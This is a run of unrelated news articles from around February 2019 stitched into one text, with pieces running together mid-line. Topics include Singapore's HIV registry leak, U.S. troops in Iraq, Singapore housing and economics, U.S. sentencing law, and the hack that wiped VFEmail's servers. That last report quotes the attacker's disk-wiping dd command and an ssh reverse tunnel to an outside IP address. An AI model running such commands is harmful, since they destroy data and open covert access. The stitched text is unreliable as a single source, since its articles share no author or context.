The investigation, which included an interview and the examination of the individuals electronic devices seized from his residence, did not reveal any evidence to suggest that he was either in possession of any MOH-related files or had shared any HIV registry data, said the authorities.

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Prior to 2016, Brochez also claimed in correspondences with the MOH that Dr Ler and (the same individual) had shared screenshots of Brochezs own record in the HIV registry, but Brochez was never able to produce verifiable evidence to support this claim, they added.

Allegations of gang-rape, regarding HIV medication

Brochez also leveled multiple allegations against individuals at the MOH and the Attorney-Generals Chambers (AGC), Home Affairs and Law Minister K Shanmugam as well as police and prison officers, in the same post.

The post, which was initially removed by Facebook and reinstated later, has since been taken down after the release of the two statements.

(SCREENSHOT: Mikhy Brochez/Facebook)

It was attached with screenshots of emails he allegedly sent to various government agencies regarding the data leak in 2016.

Brochez further wrote that he was sexually assaulted in 2016 while in prison in Singapore and had then contracted HIV, not in 2008 as the government claimed.

I was placed in a cell with Muslim inmates where I was gang-raped and infected with HIV, he said.

The authorities have described the claims as untrue.

This allegation was investigated by the polices Internal Affairs Office. The office found that the allegations were untrue, the joint statement by the police and the SPS said.

On the contrary, during Brochezs imprisonment, he committed a litany of institutional offences, including assaulting a fellow inmate. It is a matter of record that Brochez had contracted HIV, years before he was admitted into prison in 2016, it added.

On allegations that Brochez made about being denied HIV medication by the police in 2016, authorities said that he had refused to submit himself for the necessary blood tests, despite declaring that he had been HIV-positive since 2008 when he was admitted into prison.

Prisons eventually checked with the MOH, (given his refusal), and subsequently provided him with the necessary medication. AGC did not interfere with his medical treatment as he alleged and in fact, AGC has no authority to do so, the joint statement added.

In other Facebook posts that remained online, he also attached screenshots of letters purportedly sent to him by an American physician and an American lawmaker.

Along with a letter allegedly sent by a Taylor Stai of Baptist Health Medical Group Primary Care in Lexington, Kentucky, Brochez wrote: Blood test done recently show my health vitals all within normal range. If I had had HIV for ten years without being on Highly Active Antiretroviral Therapy (HAART) this would not be possible.

(SCREENSHOT: Mikhy Brochez/Facebook)

When contacted, the medical groups spokesperson declined to confirm the contents of the letter, citing the countrys Health Insurance Portability and Accountability Act of 1996 (HIPAA) law, which prevents the disclosure of an individuals protected health information.

However, the spokesperson said that a Taylor Stai practises internal medicine under the group.

In a post with a screenshot of a letter allegedly sent by an Andy Barr from the Congress of the United State, Brochez claimed that local authorities are refusing to answer American diplomatic communiques and refusing to allow them access to (his) husband Ler.

Everything being said by the Lee regime is a bunch of lies, he added.

(SCREENSHOT: Mikhy Brochez/Facebook)

Interview with Vice News

In an interview by New York-based Vice News published on the same day, Brochez similarly disputed the local authorities version of events.

He claimed that he had shared the registry with local and US government officials, as well as with the press, including a senior editor at CNNs Hong Kong bureau, to prove that the data had already been exposed and that the Singapore government tried to cover up the leak.

How can I leak something that was already leaked? Brochez was quoted in the article. The HIV registry is wrong, and I stood up to them, he added.

In its statement, the MOH called his allegations of using the registry to target gay men untrue.

The fact that there is such a registry is public knowledge and statistics on HIV infection rates from the HIV Registry are published annually, the ministry added.

Vice News added that Brochez offered multiple times to show the HIV registry to the news outlet and that in September last year, he had similarly emailed it to Singapore broadsheet The Straits Times.

It also reported that Brochez was of the view that emailing the registry to the press was not the same as publicly leaking it.

According to Vice News, Brochez had texted a reporter  after the news outlet first reached out to him  with, Will it hurt your story if I make some of the data public?

The MOH said that it will work with the police to take appropriate actions, as Brochez, who may possess further information on the HIV registry, has now threatened to reveal them.

Our priority remains the wellbeing of the affected individuals. We appeal to members of the public not to retain or share such information, as it could cause distress and anxiety amongst those affected. Please alert the police should you come across such information, the ministry added.

Yahoo News Singapore has reached out to the Facebook user purported to be Brochez, the individual accused by the user of leaking the HIV registry, Barr well as the social media giant for further comments.

Both statements made by authorities did not mention whether they have confirmed that the allegations on Facebook were made by Brochez.

Yahoo News Singapore has reached out to the MOH, police and the Ministry of Home Affairs to confirm that the Facebook account belonged to Brochez.

The American is believed to be currently on bail in his home country after being arrested for trespassing his mothers home in Kentuckys Clark County in December last year.

According to media reports, he has been ordered to appear before a district court next week to face a third-degree criminal trespass charge.

Background of HIV data leak

The confidential data of 14,200 HIV-positive individuals and 2,400 others who were identified through contact tracing were leaked online by Brochez, said the MOH late last month.

The leak happened after Brochez was deported from Singapore over fraud and drug-related offences in April last year. Brochez had served a 28-month jail term for the offences.

Ler, who resigned from MOH in January 2014, was sentenced to 24 months jail in September last year for abetting Brochez in cheating and providing false information to the police and the MOH.

The cheating-related offences against Brochez and Ler involved the covering up of Brochezs HIV-positive status to facilitate his employment application in Singapore.

Ler is currently awaiting the results of an appeal against his conviction and sentence.

In June 2016, Ler was also charged under the Official Secrets Act (OSA) for failing to retain possession of a thumb drive containing data from the HIV registry. His OSA charge has been stood down pending his appeal.

Delivering his Ministerial Statement in Parliament on Tuesday, Health Minister Gan Kim Yong revealed that the decision to issue Brochez a stern warning for possessing data on the HIV registry was because he would likely receive a fine or at most a few weeks jail for the offence.

He was already facing numerous fraud and drug-related charges, which carried far heavier penalties. AGC also assessed that any jail term under the OSA was likely to be concurrent with jail terms that he would serve under the other offences, added Gan.

 additional reporting by Nicholas Yong

Related stories:

HIV data leak: AGC did not charge Brochez under OSA in 2016 as he would have faced only light sentence

HIV data leak: Some affected patients reportedly feeling suicidal, says Gan Kim Yong

HIV data leak: MOM takes risk-based approach in assessing employment pass applications

HIV data leak: Affected persons can sue MOH but proving damages would be hard, lawyers say

COMMENT: HIV data leak  What is your excuse now, MOH?By Idrees Ali

BAGHDAD (Reuters) - Acting U.S. defence chief Patrick Shanahan told Iraqi leaders that Washington understood its forces were in Iraq at Baghdad's invitation, aiming to steady relations after President Donald Trump said U.S. troops were needed to keep an eye on Iran.

Shanahan met Prime Minister Adel Abdul Mahdi during an unannounced trip to Baghdad on Tuesday.

"I made very clear that we recognise their sovereignty, their focus on independence and that we are there at the invitation of the government," Shanahan told reporters.

Trump infuriated Iraqi politicians this month by saying that a U.S. presence was needed in Iraq to observe Iran. Washington, which occupied Iraq from 2003-2011, now has around 5,200 troops in Iraq at the request of the Baghdad government to help fight against Islamic State.

Iraq is an ally of both the United States and Iran, and its politics are often dominated by efforts to balance relations with two powerful countries that are bitter enemies.

Trump's suggestion that Iran was the target of the U.S. presence in Iraq was denounced across the political spectrum in Baghdad last week, including by Abdul Mahdi. President Barham Salih said the U.S. troops must stick to their anti-Islamic State mission; Iran-aligned politicians in Iraq's parliament pressed demands that the U.S. mission be scaled back.

The uproar came just months after Trump angered Iraqi leaders on his only visit to the country so far. On the day after Christmas Trump stopped only at a U.S. air base in the remote desert. Unlike predecessors Barack Obama and George W. Bush, he skipped the capital Baghdad and met no Iraqi officials.

Shanahan said the topic of U.S. troops in Iraq and Trump's Iran comments did not come up during his talks with Abdul Mahdi, but the prime minister told him that Iraq needed to maintain strong relations with both Washington and Tehran.

"There is activity in their legislature... the discussions have been should they restrict the number of U.S. forces in Iraq and I wanted to make clear to (Abdul Mahdi) that we recognise our role, we understand that we are there by invitation," Shanahan said.

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Speaking after meeting with Shanahan, Abdul Mahdi said he respected the decisions of the parliament.

"The government has its view and the political blocs have theirs," he said.

SYRIA WITHDRAWAL

U.S. officials have criss-crossed the Middle East in recent months to reassure allies that Washington remains committed to the region, after Trump announced in December that he would abruptly withdraw the 2,000 U.S. troops from Syria.

That decision was opposed by top aides, including Defence Secretary Jim Mattis, who quit, leaving his deputy Shanahan in charge of the Pentagon.

Shanahan met with U.S. military commanders while in Iraq to get an update on the fight against Islamic State. U.S.-backed fighters have mounted an attack against Islamic State's last bastion in eastern Syria.

U.S. officials have long estimated that the Syria pullout could take until sometime in March or April to execute fully, but have been reluctant to set an exact timeline given hard-to-predict battlefield conditions.

Islamic State was declared defeated in Iraq in 2017, but continues to wage small-scale insurgent attacks in some areas.

(Reporting by Idrees Ali; Additional reporting by Muayad Hameed; Editing by John Stonestreet and Peter Graff)SINGAPORE (Feb 13): Singapore continues to remain at No.1 in Asia in terms of readiness to embrace autonomous vehicles (AVs) and second in the world after the Netherlands, unchanged from a year ago.

This is according to KPMGs 2019 Autonomous Vehicles Readiness Index (AVRI), which was established with the intent to provide an understanding of various countries preparedness and openness to AV technology.

The index evaluates 25 countries worldwide against four pillars to measure readiness for AV adoption: policy & legislation; technology & innovation; infrastructure; and consumer acceptance.

Notably, Singapore is rated No. 1 worldwide in two pillars, namely policy & legislation and consumer acceptance.

The city state is second only to the Netherlands in the area of infrastructure.

New countries ranked via the AVRI for 2019 included Norway, which came in third after Singapore globally, after it legalised AV testing on public roads.

Finland, which comes in at No. 6, was also featured for the first time in this years index considering its focus on getting AVs to work in winter conditions as well as automated bus services.

In a Wednesday announcement, KPMG highlights that Singapore is currently working with the Netherlands on international standards for AV  with more related initiatives to come in the near future, such as plans for certain areas to use driverless buses and shuttles for off-peak and on-demand commuting from 2022.

Satya Ramamurthy, partner & head of infrastructure, government and healthcare at KPMG in Singapore, says this years index is a clear indication that Singapores ecosystem for AVs is ready and very much aligned with how Singapore is establishing itself as a Smart Nation and centre for AV development.

The government has certainly been very proactive in thinking about the future of mobility. Along with the release of TR-68, a set of provisional national standards that guide the safe deployment of AV, Singapore is well-positioned to harness the societal and economic benefits of AV, says Ramamurthy.

Towner Crest (Credit: HDB)

HDB has launched 3,739 flats for sale, which include 3,162 BTO units and 577 ROF units across various estates, under the latest Build-To-Order (BTO) and Re-Offer of Balance Flats (ROF) exercise for February.

The BTO flats are spread across five projects - three in the non-mature towns of Jurong West and Sengkang, and two in the mature town of Kallang/Whampoa.



Source: HDB

Flats in Sengkang and Kallang/Whampoa could be more popular, with the latter being more likely to be oversubscribed, says Christine Sun, head of research & consultancy at OrangeTee & Tie.

Sun attributes the likely high demand for flats in Kallang/Whampoa to the fact that this is the first BTO sales launch in the area since November 2016. Also, they are in well-located in the city fringe and near MRT stations, she says.



Kallang Breeze (Credit: HDB)

The last BTO exercise at Kallang Residences in November 2016 was 12.1 times oversubscribed for the four-room HDB flats, and 3.3 times oversubscribed for the three-room flats, adds Sun.

Eugene Lim, key executive officer at ERA, foresees more second-timer demand for the Kallang/Whampoa flats, especially as their price points are higher compared to flats in non-mature locations.

For Sengkang, OrangeTees Sun notes that there was healthy demand and positive price appreciation for the flats there last year. Based on data provided by the Singapore government, four- and five-room standard resale flats in Sengkang saw 1% and 2% y-o-y price increases respectively in 2018, she says.

Among the non-mature estates, Sengkang was one of the two towns to see price hikes for both four- and five-room resale flats last year, which indicate the prices for HDB resale flats are resilient, says Sun.



Jurong West Jewel (Credit: HDB)

Eligible first-timer families would be able to enjoy up to $80,000 of housing grants, comprising the Additional CPF Housing Grant of up to $40,000, and the Special CPF Housing Grant of up to $40,000.

Story continues

First-timer families will enjoy priority in flat allocation, HDB said. Meanwhile, couples who wish to live together with their parents can apply for a 3Gen flat in Jurong West or Sengkang. For those who wish to live close to their parents or married children, they can submit a joint application under the Multi-Generation Priority Scheme.



Fernvale Vines (Credit: HDB)

Under the ROF exercise, the 577 flats comprise 173 two-room flexi units, 166 three-room units, 129 four-room units, 10 five-room units, 96 3Gen units and three executive flats. At least 95% of these will be set aside for first-timer families, and up to 5% for second-timer families. Overall, families will be given priority in the flat selection, HDB said.

The ROF exercise may not be as popular as only 13% of the ROF flats are completed, notes Lee Sze Teck, head of research for Huttons Asia. The ROF launch is also the smallest in number compared to previous launches - August 2017, February 2018 and August 2018 saw 1,394, 717 and 726 units released for sale, respectively, Lee points out.



Source: HDB

Applications for new flats can be submitted online on the HDB InfoWEB from Feb 12 to 18. Users can only apply for a flat under either the BTO or ROF scheme.

For the next BTO launch in May 2019, 3,400 HDB flats will be offered in Kallang/Whampoa, Tengah and Woodlands.



Boon Lay Glade (Credit: HDB)

See Also:





Feb 13 (Reuters) - Utusan Melayu (Malaysia) Bhd:

* UPDATES ON MATERIAL LITIGATION WITH REDBERRY SDN BHD AS PLAINTIFF AND CO AS DEFENDANT

* HIGH COURT DECIDED IN PLAINTIFFS FAVOUR ON 11 FEB AND CO TO APPEAL TO COURT OF APPEAL AGAINST HIGH COURT'S DECISION Source ( https://bit.ly/2TO3FBJ) Further company coverage:A view of the skyline of Singapore.(Photo: REUTERS/Edgar Su)

By Linda Lim

(Bloomberg Opinion)  Many pro-Brexit Brits are taken with the idea that the U.K. doesnt need to belong to a large bloc any more than its tiny former colony Singapore does. The Southeast Asian city-state, they argue, has flourished by lowering taxes and opening up its economy to trade and investment, and so can a post-Europe Britain. Those excited about the prospects for Singapore-on-Thames, though, might want to take a closer look at how Singapore itself works. Or doesnt.

It is true that the tropical port has thrived on trade since before Sir Stamford Raffles landed there 200 years ago. British colonizers encouraged free flows of capital, goods and labor, which integrated the island into the regions colonial-plantation export economy.

Singapores post-independence leader Lee Kuan Yew also saw the virtue in positioning his country within global trade flows. In recent years, even as a backlash against globalization has swept the West, Singapore has been an avid joiner of regional and bilateral free-trade pacts, including most recently the Comprehensive and Progressive Trans-Pacific Partnership and a free-trade agreement with the European Union.

Several other conditions have been critical to Singapores growth, though. And many of them wont be so attractive to passionate Brexiters.

The state, for instance, plays an exceptionally heavy role in Singapores economy and society. Over 80 percent of the population lives in public housing, while a Central Provident Fund requires employees to park nearly 40 percent of their salaries into savings (the money can be used on housing and healthcare). In industrial policy, the government oversees a plethora of schemes targeting mostly off-budget public funding to particular sectors such as biopharma and aerospace, as well as activities such as R&D and skills training. Government-linked companies, whose controlling shareholder is the sovereign wealth fund Temasek Holdings Pte. Ltd., are the dominant players in transport, communications, real estate and media, and account for a significant share of total stock-market capitalization.

Story continues

The states dominance makes negotiating free-trade agreements much easier than it would be in a post-Brexit U.K. The ruling Peoples Action Party has commanded an overwhelming majority in Parliament since independence and never loses a vote. Local labor and domestic capitalists are relatively weak, and the country has no agricultural sector to protect. Internationally, Singapores small size, openness and longstanding friendliness to foreign business mean it poses no threat to domestic interests in partner countries, while its strategic geographical location makes it an attractive intermediary for entry into a much larger regional market. It will be much harder for the U.K. to negotiate similar pacts, especially if it cant serve as a gateway to the EU.

More importantly, given its tiny population, Singapores growth has depended crucially on massive immigration  one of the fears that spurred the Brexit vote. Non-residents accounted for only 3.2 percent of Singapores labor force in 1970. By 2000, the share had risen to over 28 percent and now tops 38 percent. Following a backlash in 2011, which handed the PAP its worst electoral showing ever, the government has brought down the annual increase in foreign labor from 21 percent in 2008 to around 1 percent. But its still growing.

Moreover, Singapore has been an austerity lovers dream, running budget surpluses of over five percent of GDP nearly every year since 1990. Combined with high savings rates (35 percent to 53 percent of GDP since 1981), thats translated into persistently large current-account surpluses that have exceeded 10 percent of GDP since 1991 and 20 percent since 2005. These surpluses yield foreign-exchange reserves that are invested outside the country by GIC Pte. Ltd., the other sovereign wealth fund. Exporting capital restrains currency appreciation and keeps Singaporean exports competitive. In a more substantial, less-open economy such as the U.K., such policies would be considered mercantilist.

The final irony is that Singapore may not be as clear-cut a success story as Brexiters imagine. A growth model based on large inputs of capital and imported labor has delivered poor productivity growth. Annual total factor productivity growth fell from 2 percent in the 1980s to 1.4 percent in the 1990s and 0.5 percent in the 2000s, when employment contributed 75 percent to (now lower) GDP growth, versus 31 percent in the 1970s.

At the same time, like the U.K. and many other high-income countries, Singapore has experienced relative wage stagnation and rising income inequality. The share of wages and consumption in GDP is very low, with the latter ranging between 35 and 49 percent of GDP every year since 1981. This means that consumer welfare is much lower than Singapores high per capita income would suggest, and lower than in countries with similar income levels.

Even Singapores liberal trade and investment policies are unlikely to yield the same growth dividends they did in the past, given the slowdown in globalization and the rise of market, technological and political forces that favor increased regionalization if not nationalization of production and distribution of goods and services. Global capital flows in particular face increased restrictions meant to combat tax-dodging, while countries everywhere are far less tolerant of industrial policies that can be cast as illegal state subsidies.

Its not clear that Singapores past national development strategy will continue to be viable for Singapore itself. Singapore-on-the-Thames shouldnt count on following the same model.

Linda Lim is a Singaporean economist and professor emerita of corporate strategy and international business at the Stephen M. Ross School of Business at the University of Michigan.

 2019 Bloomberg L.PActing Pentagon chief Patrick Shanahan made an unannounced visit to the Iraqi capital on Tuesday for talks on the sensitive issue of a continued US troop presence after Washington withdraws from neighbouring Syria. Shanahan is keen to reassure Iraqi leaders after President Donald Trump angered many by saying he wanted to maintain some troops at the Al-Asad airbase, northwest of Baghdad, to keep an eye on Iran. The acting defence secretary, who flew in from Afghanistan on his first foreign tour since taking office last month, held talks with Prime Minister Adel Abdel Mahdi and top military advisers, as well as Lieutenant General Paul LaCamera, the commander of anti-IS coalition forces. His meeting with Iraq's premier had "a very good energy", Shanahan told the press after arriving in Brussels where he is set to attend a NATO summit. "I made very clear that we recognise their sovereignty, their focus on independence and that we are there at the invitation of the government," he added. Asked whether they had touched on the possibility of US troops in Iraq deploying across the border into Syria for operations against the Islamic State group, Shanahan said: "It just did not come up." The two spoke about Iran "indirectly... in the context of Iraq's independence", he said, adding that Abdel Mahdi had stressed the need for Baghdad to maintain good relations with both its neighbours and the US. - Focus on IS - A senior Pentagon official had earlier told journalists travelling with Shanahan that Washington's "main partnership and military activity in Iraq is the de-ISIS (IS) mission". Washington was also pressing its allies to repatriate their nationals captured and taken prisoner during the fight against IS in Iraq and Syria, the official said. "We think coalition members need to take responsibility for their citizens who are fighters. It's been a message we've delivered time and time again. And we are seeing hopeful progress," he said. Trump's comments about Iran, in an interview with CBS television aired February 3, drew a stern rebuff from President Barham Saleh, who said the use of Iraq as a base against a third country violated its constitution. They also sparked renewed calls for a US withdrawal both from pro-Iran factions within the government and from Iran-trained armed groups whose power has risen sharply during the fightback against IS jihadists that culminated in December 2017. Those calls are likely to intensify as Washington carries out the full troop withdrawal from Syria unveiled in a shock announcement by Trump in December. The plan, judged hasty by both US allies and senior figures within Trump's own administration, prompted the resignation of Shanahan's predecessor, Jim Mattis. But with US-backed Kurdish-led fighters poised to overrun IS's last sliver of territory in eastern Syria perhaps as early as this week, the withdrawal, which other administration figures had managed to slow, is now likely to gather pace. - 'Incredible base' - Trump's comments about the Al-Asad airbase came after the US president had already angered Iraqi leaders in December by paying a Christmas visit to US troops based there without travelling to Baghdad to speak with officials. "We spent a fortune on building this incredible base. We might as well keep it," Trump said in the CBS interview. "One of the reasons I want to keep it is because I want to be looking a little bit at Iran because Iran is a real problem," he added. A draft law that would set a timetable for a US troop withdrawal is now before the Iraqi parliament. It is backed by both of Iraq's most powerful political groupings -- the nationalist alliance led by firebrand Shiite cleric Moqtada Sadr, and the pro-Iran movement of former anti-IS fighters. At a rare joint news conference on Monday, the two groupings demanded at the very least a "new agreement" setting tight conditions on any future foreign troop presence. Following the US-led invasion that overthrew since-executed dictator Saddam Hussein in 2003, US troop numbers peaked at some 170,000 before a full withdrawal was completed in 2011. Troops returned to Iraq in 2014 as part of an international coalition set up to fight IS after it swept through much of the north and west as well as swathes of neighbouring Syria that year. As for his talks on Wednesday in Brussels, Shanahan said he would brief his "counterparts here at NATO on my perceptions of Afghanistan, Syria and Iraq and what the opportunities are for the coalition". He said he would discuss "where we can take advantage of the opportunities there... in terms of the potential in northeast Syria to establish an observer force" to ensure stability in the longer term.Here are todays biggest stories.

Toyota is growing in China as its global rivals stumble The biggest global automakers are having a terrible time in the worlds largest market with one notable exception: Toyota.

Chinese billionaire stripped of visa calls Australia a giant baby A Chinese billionaire and political donor has called Australia a giant baby, after it revoked his permanent residency amid concerns over Chinas growing foreign influence.

The US is stepping up pressure on Europe to ditch Huawei US Secretary of State Mike Pompeo warned European countries on Monday that using technology from Huawei could hurt their relationship with the United States.

At least 17 dead in New Delhi hotel fire At least 17 people died in a fire that ripped through a budget hotel in the Indian capital New Delhi early Tuesday, police said.

The Venezuelan women selling their bodies to survive As Venezuelan women flood across the Colombian border, desperate for work, many are finding there is only one job open to them: prostitution.

Katy Perry faces criticism over shoes that evoke blackface First it was Prada. Then Gucci. Now, Katy Perry is being called out for creating fashion that evokes blackface.

Bonsai thief steals $118,000 of tiny trees, including 400-year-old juniper Among the loot was a rare 400-year-old shinpaku tree, a star of the bonsai world, which was due to be entered in a Japanese beauty competition this month.

IBMs AI debate computer loses to human champion People are great at arguing. But a project from IBM shows that computers are getting quite good at it, too.

Deal aims to avert new US shutdown Democrats and Republicans have reached an agreement in principle over border security to fund the US government and avert another partial shutdown. The agreement contains only a fraction of the money President Donald Trump wants for his promised border wall and does not mention a concrete barrier.

Cyber-bullying row rocks French media Several French media executives have been suspended or fired for allegedly co-ordinating online harassment through a private Facebook group. The largely-male League du LOL (League of LOL) targeted women writers and feminist activists among others. Dozens of people have shared their experience of cyber-bullying by the group since it was uncovered by the French left-wing newspaper Liberation.

Teen has vaccinations after asking Reddit Ethan Lindenberger from Ohio asked social media site Reddit if he could have vaccines without parental consent. His mother would not give her permission, he wrote in the post, which had thousands of reactions. He learned he had to wait until he was 18  which he did, and has now had five vaccinations so far.

Why so many people believe conspiracy theories Did Hillary Clinton mastermind a global child-trafficking ring from a Washington pizzeria? No. Did George W Bush orchestrate a plot to bring down the Twin Towers and kill thousands of people in 2001? Also no. So, why do some people believe they did? And what do conspiracy theories tell us about the way we see the world?

How Indias single time zone is hurting its people Indias single time zone is a legacy of British rule, and is thought of as a symbol of unity. But not everyone thinks the Indian Standard Time (IST) is a good idea. Heres why. India stretches 3,000km (1,864 miles) from east to west, spanning roughly 30 degrees longitude.

The UKs giant aircraft carriers A century ago the UK started work on the worlds first purpose-built aircraft carrier. Soon the first jets will fly off the massive deck of her latest successor  the giant HMS Queen Elizabeth. Along with her sister ship, HMS Prince of Wales, theyre the largest warships ever to be built for the Royal Navy.

Russia plans to unplug from internet Russia is planning to briefly disconnect from the internet as part of planning for a future cyber-war. The test will mean data passing between Russian citizens and organisations stays inside the nation rather than being routed internationally. A law mandating technical changes needed to operate independently was introduced to Russias parliament last year.

Amazon will buy router company Eero to hook deeper into the home Every product here is independently selected by Mashable journalists. If you buy something featured, we may earn an affiliate commission which helps support our work. Amazon just added another company to its growing smart home portfolio. The e-commerce giant is acquiring Eero, maker of the popular routers and mesh WiFi system of the same name.

LinkedIn finally rolls out video livestreaming service LinkedIn Live LinkedIn is getting into the video livestreaming game. The social networking website built for business professionals has started rolling out a streaming service called LinkedIn Live, as first reported by TechCrunch . LinkedIn Live will be rolled out via invite-only to select U.S. users for this initial beta phase.

Oh, good, theres a button you can press to tell your partner youre horny Since the dawn of time, people who arent terrible have been using words to ask other people to have sex with them. What if we could do away with all that and press a fuck button instead? A would-be product called LoveSync, which is mid-Kickstarter campaign at the moment, wants to do just that.

George Clooney goes darkly hilarious in irreverent Catch-22 trailer That book you lied about reading in high school is finally coming to Hulu, and its all thanks to director and executive producer George Clooney. Based on Joseph Hellers novel of the same name, Catch-22 is a six-part limited series capturing the adventures and misadventures of a U.S.

Google Assistant now lets you play HQ Trivia on demand Google can now help you prepare for your next HQ trivia game. The search giant is teaming up with the creators of the popular trivia app HQ to create HQ University, a dedicated trivia game made for Google Assistant. The new game is now available in the Google Assistant app, Google Home speakers, and smart displays like the Home Hub. Student SCOTUS preview part two: noticing the parole push in United States v. Haymond | Main | "Unlocking the Black Box: How the Prosecutorial Transparency Act Will Empower Communities and Help End Mass Incarceration" 

The title of this post is the title of this very lengthy new piece by German Lopez at Vox. I recommend the piece in full, and here are excerpts from the first part of the article:

America puts more people in jail and prison than any other country in the world. Although the country has managed to slightly reduce its prison population in recent years, mass incarceration remains a fact of the US criminal justice system.

Its time for a radical idea that could really begin to reverse mass incarceration: capping all prison sentences at no more than 20 years. It may sound like an extreme, even dangerous, proposal, but theres good reason to believe it would help reduce the prison population without making America any less safe....

Looking at the length of our prison sentences is one approach to reverse mass incarceration. Empirical research has consistently found that locking up people for very long periods of time does little to nothing to combat crime, and may actually lead to more crime as people spend more time in prison  missing big life opportunities for legitimate careers, and being incarcerated with others who have ties to the criminal world.

Theres also good reason to believe that 20 years is a good cutoff for a maximum. Studies have found that people almost always age out of crime, particularly by their late 30s and 40s. If a person is locked up for a robbery or murder at 21, theres a very good chance that he wont commit that same crime when he gets out at 41.

Other countries show this can work. European nations tend to have shorter prison sentences than the US, and certainly fewer people in prison, along with roughly equal or lower violent crime rates. Norway in particular caps the great majority of prison sentences at 21 years  and its violent crime and reoffending rates are lower than the USs. (The cap does have some exceptions, as Ill explain later.)

A cap on prison sentences wouldnt on its own end mass incarceration. But at least tens of thousands of people in prison would benefit now  if the change were applied retroactively  and untold numbers more would benefit in the future if it were adopted by states and the federal government.

Im not naive; I know theres a very, very low chance that this policy will actually be enacted. And I know there are some difficult questions we need to confront if such a policy were ever put in place. But I think pushing for something like this is a good idea anyway. It forces a conversation about what prisons are for: Are they for keeping the public safe? Rehabilitating inmates? Purely for revenge? If our answer as a society is the first two, but not the latter, then a cap is something we should consider.

By beginning these kinds of conversations, we can try to get at the root cultural and social forces that enabled and encouraged mass incarceration to begin with. Only by doing that can we start to really unravel a criminal justice system thats turned into one of the worlds most punitive. "Unlocking the Black Box: How the Prosecutorial Transparency Act Will Empower Communities and Help End Mass Incarceration" | Main | Federal district judge finds Alabama sex offender license plate and internet provisions violate First Amendment 

In the federal system, sentencing appeals brought by prosecutors are relatively rare but not always exceptional. My sense is that prosecutorial appeals of sentences are even rarer in most state systems, and a state sentencing appeal brought this week by Illinois prosecutors comes in a case that is exceptional for all sort of reasons. This extended Chicago Tribune article, headlined "Attorney general, special prosecutor challenge Jason Van Dykes sentence in petition to state Supreme Court," provides lots of background details and here are excerpts:

Special prosecutors and the Illinois attorney generals office want the states highest court to order a resentencing for Jason Van Dyke, a move that if granted could result in a much harsher prison term for the former Chicago police officer convicted in the slaying of 17-year-old Laquan McDonald.

Their petition, filed Monday, does not explicitly target the length of the 6-year sentence, which many activists criticized as lenient. But Kane County States Attorney Joseph McMahon, appointed to handle the Van Dyke case, and Attorney General Kwame Raoul argue that Judge Vincent Gaughan sentenced Van Dyke under improper legal guidelines, and note that a significantly longer sentence would be justifiable under state law.

I recognize that a trial judges discretion in sentencing is to be given great deference, Raoul said at a news conference Monday. However, it is in the interest of justice that we do all within our power to make sure that such exercise in discretion be applied consistent with the mandates of law, no matter who the defendant and no matter who the victim.

In response, Van Dykes attorneys said the prosecutors motivations were plainly political. This case has come to represent all the wrongs, perceived wrongs, of the Chicago Police Department, and its fallen upon Jason Van Dyke as a person, attorney Jennifer Blagg said. So what he represents politically is why this is happening....

Van Dyke, 40, was convicted last year of one count of second-degree murder and 16 counts of aggravated battery in the 2014 on-duty shooting of McDonald. He was sentenced last month to 6 years in prison. Gaughan sentenced Van Dyke only on the second-degree murder conviction, ruling that it was the more serious offense and that the aggravated battery counts should merge into it for purposes of sentencing....

But the prosecutors petition argues that Illinois law actually makes aggravated battery with a firearm the more serious offense, and therefore the state Supreme Court should order Gaughan to resentence the ex-patrol officer on those convictions instead. The court should also direct Gaughan to determine which of the 16 gunshot wounds caused severe bodily injury and sentence him to consecutive prison terms for those counts, they state.

Prosecutors have argued that at least two of the wounds caused that kind of injury, which, the petition contends, would mean Van Dyke would face a minimum sentence of 18 years: six years for each of those two wounds, plus six more years for the other 14 counts. An aggravated battery with a firearm conviction carries a sentence of six to 30 years in prison. The range for second-degree murder is four to 20 years, but a judge can impose probation instead.

If the state Supreme Court chooses to consider the petition, there are a few potential outcomes, said longtime criminal defense attorney Mark Lyon. They will either have to say, Judge Gaughan, you have to resentence this person, or they have to say (they) were wrong in the case where they said second-degree murder was always less serious than aggravated battery with a firearm, Lyon said, referring to a previous ruling.

The court potentially could also order Gaughan to resentence Van Dyke on the aggravated battery but not make him rule on which of the 16 shots caused severe bodily injury, Lyon said, which would open the door for Gaughan to impose a prison term the same as the previous sentence, or slightly shorter.

But even in that scenario, Van Dyke would serve slightly more prison time. Inmates convicted of aggravated battery with a firearm must serve at least 85 percent of their sentences  far higher than the 50 percent required by a second-degree murder conviction. Its quite unlikely that Mr. Van Dyke comes out of this without some kind of upward modification of his sentence, Lyon said. How much, who knows.

Van Dykes attorneys plan to file an objection to the prosecutors motion. The Supreme Court is not obligated to accept the prosecutors petition at all, and there is no time frame in which it must make a decision.A destructive cyberattack hit the email provider VFEmail, a hacker wiped its servers in the United States, including the backup systems.

An unknown attacker has launched a destructive cyber attack against the email provider VFEmail, he erased information on its server including backups, 18 years worth of customer emails were lost.

We have suffered catastrophic destruction at the hands of a hacker. This person has destroyed all data in the US, both primary and backup systems. We are working to recover what data we can, reads the statement published by the company on its website.

At this time, the attacker has formatted all the disks on every server. Every VM is lost. Every file server is lost, every backup server is lost. NL was 100% hosted with a vastly smaller dataset. NL backups by the provideer were intact, and service should be up there.  VFEmail.net (@VFEmail) February 11, 2019

On Monday, the email provider confirmed that their systems in multiple datacenters were down after a hacker started formatting them.

The company caught the hacker while he was formatting a backup server hosted in the Netherlands. Unfortunately, by that time, the hacker had already managed to erase all disks on every other VFEmail server.

The hacker destroyed all virtual machines even if the company pointed out that they did not share the same authentication.

This was more than a multi-password via ssh exploit, and there was no ransom. Just attack and destroy, VFEmail said.

The hacker appears to have been attacking out of Bulgaria.



Caught the perp in the middle of formatting the backup server:

dd if=/dev/zero of=/dev/da0 bs=4194304 seek=1024 count=399559

via: ssh -v -oStrictHostKeyChecking=no -oLogLevel=error -oUserKnownHostsFile=/dev/null aktv@94.155.49.9 -R 127.0.0.1:30081:127.0.0.1:22 -N  VFEmail.net (@VFEmail) February 11, 2019

Of course the attacker could have been using a VPN to hide its real origin.,

VFEmail staff recommends that users do not connect their own email clients because the entire content of their accounts was erased by the hacker.

Backups of the servers located in the Netherlands were not affected and were used to restore the service.

The incident could suggest a wrong cybersecurity posture of the company that that was not able to prevent the intrusion and protect the backups.

Pierluigi Paganini

( SecurityAffairs  cybersecurity, hacking)

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Share OnCALmatters is a public interest journalism venture committed to explaining how California's state Capitol works and why it matters. For more stories by Dan Walters, go to Commentary.Comment by the Department of Information and Digital Diplomacy of the Ministry of Foreign Affairs of Belarus

07-02-2019



